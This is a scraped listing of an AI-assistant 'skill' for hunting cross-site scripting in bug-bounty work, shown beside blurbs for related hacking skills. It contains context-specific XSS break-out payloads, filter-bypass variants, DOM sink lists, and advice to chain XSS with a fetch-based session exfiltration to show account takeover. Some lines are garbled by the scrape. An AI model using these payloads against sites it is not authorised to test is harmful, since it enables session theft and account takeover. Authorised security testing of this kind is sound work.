メニュー
XSS hunting methodology — reflected, stored, and DOM — with context-aware payloads. Use when testing any input that could reach a browser.
Codex または Claude でインストール この Prompt をコピーして Codex、Claude、または他のアシスタントに貼り付けると、Skill ページを確認してインストールできます。
SOC 職業分類に基づく
Systematic IDOR / BOLA hunting methodology. Use when testing any endpoint that accepts an ID, UUID, slug, filename, or reference to a user-owned object.
SQL injection hunting methodology across error-based, union, blind boolean, and time-based variants. Use when testing any input that might reach a database.
SSRF hunting methodology with OOB detection via interactsh, cloud metadata targets, and blind SSRF techniques. Use on any feature that accepts a URL, hostname, or external reference.
OWASP Top 10 (2021) and API Top 10 (2023) quick reference with attack patterns, test ideas, and CWE mappings. Load when hunting, code-reviewing for security, or writing bug bounty reports.
Bug bounty report generation — structure, triager-friendly writing, CVSS scoring, and chain reporting. Use when finalizing a finding for submission.
Curated index of external hacking resources — meta-lists, frameworks, wordlists, payload banks, recon/OSINT, network, exploitation, and CTF tooling. Load when the user asks "what's the tool for X", "where do I find payloads for Y", "is there a wordlist for Z", or when planning which external resource to pull for a task. Always reach for this before suggesting a generic Google search.
| name | hunt-xss |
| description | XSS hunting methodology — reflected, stored, and DOM — with context-aware payloads. Use when testing any input that could reach a browser. |
location.hash, postMessage, JSON, client-side router flowing into a sinkIdentify the output context first, then craft the break-out:
| Context | Break-out | Payload |
|---|---|---|
| HTML body | none | <svg onload=alert(1)> |
| HTML attribute (quoted) | close quote | " autofocus onfocus=alert(1) x=" |
| HTML attribute (unquoted) | space | onmouseover=alert(1) |
href="javascript:" | scheme | javascript:alert(1) |
<script>var x="..."</script> | close string | ";alert(1)// |
<script>var x=...</script> (JSON) | break out | </script><svg onload=alert(1)> |
| CSS | expression, url() | background:url(javascript:alert(1)) |
| URL in CSS | /* */alert(1)/* */ |
Sources: location.hash, location.search, document.referrer, window.name, postMessage, localStorage, URL hash-router state
Sinks: innerHTML, outerHTML, document.write, eval, setTimeout(str), Function(), jQuery.html(), element.src = (for javascript:), Vue v-html, React dangerouslySetInnerHTML, Angular [innerHTML]
<sCrIpT><svg onload>, <img src=x onerror>, <body onload><a href=x onmouseover=alert(1)>hi</a>alert\x28\x31\x29, confirm, eval(atob('...'))onerror=alert;throw 1script-src including a CDN with JSONP or angular templateLegacy attribute lookups on document / window by id / name can be clobbered with <a id=config> to poison config objects used by later scripts.
DOMPurify < 2.0.17, innerHTML re-parsing — look for sanitize-then-innerHTML patterns where the browser re-parses differently than the sanitizer.
Reflected XSS alone is usually Medium. Upgrade by chaining:
fetch('/api/me') exfil = show full ATO demoInclude: source, sink, exact payload, browser/version tested, a screen recording if stored, and a proof of session/token theft if you can do so against yourself safely.